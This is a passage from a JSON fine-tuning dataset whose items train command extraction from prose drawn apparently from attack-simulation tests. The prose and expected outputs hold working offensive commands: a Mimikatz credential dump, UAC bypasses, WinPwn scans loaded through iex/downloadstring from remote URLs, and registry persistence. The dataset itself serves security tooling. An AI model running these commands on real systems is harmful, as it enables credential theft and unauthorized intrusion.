    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The test scenario involves collecting display screenshots and simulating left mouse clicks via this comprehensive command block: cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12\nAdd-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;\n[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);\ncmd /c \"timeout #{recording_time} > NULL && psr.exe /stop\"; To capture the desktop screen using the .NET API, run the following command: Add-Type -AssemblyName System.Windows.Forms\n$screen = [Windows.Forms.SystemInformation]::VirtualScreen\n$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height\n$graphic = [Drawing.Graphics]::FromImage($bitmap)\n$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)\n$bitmap.Save(\"#{output_file}\")",
    "output": "{\"command_list\": [\"cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12\\nAdd-Type -MemberDefinition '[DllImport(\\\"user32.dll\\\")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;\\n[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);\\ncmd /c \\\"timeout #{recording_time} > NULL && psr.exe /stop\\\"\\n\", \"Add-Type -AssemblyName System.Windows.Forms\\n$screen = [Windows.Forms.SystemInformation]::VirtualScreen\\n$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height\\n$graphic = [Drawing.Graphics]::FromImage($bitmap)\\n$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)\\n$bitmap.Save(\\\"#{output_file}\\\")\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate network shares using SharpShares, a tool integrated with Cobalt Strike's execute-assembly module, use this command: cmd /c '#{sharp_path}' /ldap:all | out-file -filepath '#{output_path}'.; Snaffler can be executed to scan for accessible shares and credential files via this command: invoke-expression 'cmd /c start powershell -command { cmd /c \"#{snaffler_path}\" -a -o \"#{output_path}\" }; start-sleep 90; stop-process -name \"snaffler\"'",
    "output": "{\"command_list\": [\"cmd /c '#{sharp_path}' /ldap:all | out-file -filepath \\\"#{output_path}\\\"\", \"invoke-expression 'cmd /c start powershell -command { cmd /c \\\"#{snaffler_path}\\\" -a -o \\\"#{output_path}\\\" }; start-sleep 90; stop-process -name \\\"snaffler\\\"'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script runs mimikatz through PsSendKeys, automatically opening file explorer and notepad before displaying credentials, with the command: $url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr; This Windows 10-specific method opens the backup and restore window upon execution, utilizing a UAC bypass technique as explained in https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/. Run it via the command: Powershell.exe \"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\\Windows\\System32\\cmd.exe'\"",
    "output": "{\"command_list\": [\"$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\\\\Software\\\\Microsoft\\\\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr\\n\", \"Powershell.exe \\\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\\\\Windows\\\\System32\\\\cmd.exe'\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an adversary's attempt to tamper with the system's boot process, modify the BootExecute registry value using the following command: if (!(Test-Path \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\")) { reg.exe export \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\" /y }\nSet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" -Name \"BootExecute\" -Value \"#{registry_value}\" -Type MultiString; Windows searches for the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd during RDP logins, where 'rdpclip' is the default value. An attacker can change this to run a malicious application via the command: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\" /f /v StartupPrograms /t REG_SZ /d \"#{malicious_app}\"",
    "output": "{\"command_list\": [\"if (!(Test-Path \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\SessionManagerBackup.reg\\\")) { reg.exe export \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\" \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\SessionManagerBackup.reg\\\" /y }\\nSet-ItemProperty -Path \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\" -Name \\\"BootExecute\\\" -Value \\\"#{registry_value}\\\" -Type MultiString\\n\", \"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\Wds\\\\rdpwd\\\" /f /v StartupPrograms /t REG_SZ /d \\\"#{malicious_app}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For implementing the User Account Control Bypass via DLL Hijack targeting \\system32\\pkgmgr.exe, execute the command: \"#{uacme_exe}\". Upon success, you'll observe event viewer loading and two administrative command prompts.; Using WinPwn's functionality, you can bypass UAC via the Magic technique by running: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique magic",
    "output": "{\"command_list\": [\"\\\"#{uacme_exe}\\\"\\n\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nUACBypass -noninteractive -command \\\"C:\\\\windows\\\\system32\\\\cmd.exe\\\" -technique magic\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For scanning MS-RPRN RPC services, run the spoolvulnscan function via this WinPwn command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nspoolvulnscan -noninteractive -consoleoutput; For detecting Windows Servers vulnerable to MS17-10 across the domain, utilize WinPwn's powerSQL feature with this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nMS17-10 -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nspoolvulnscan -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nMS17-10 -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit 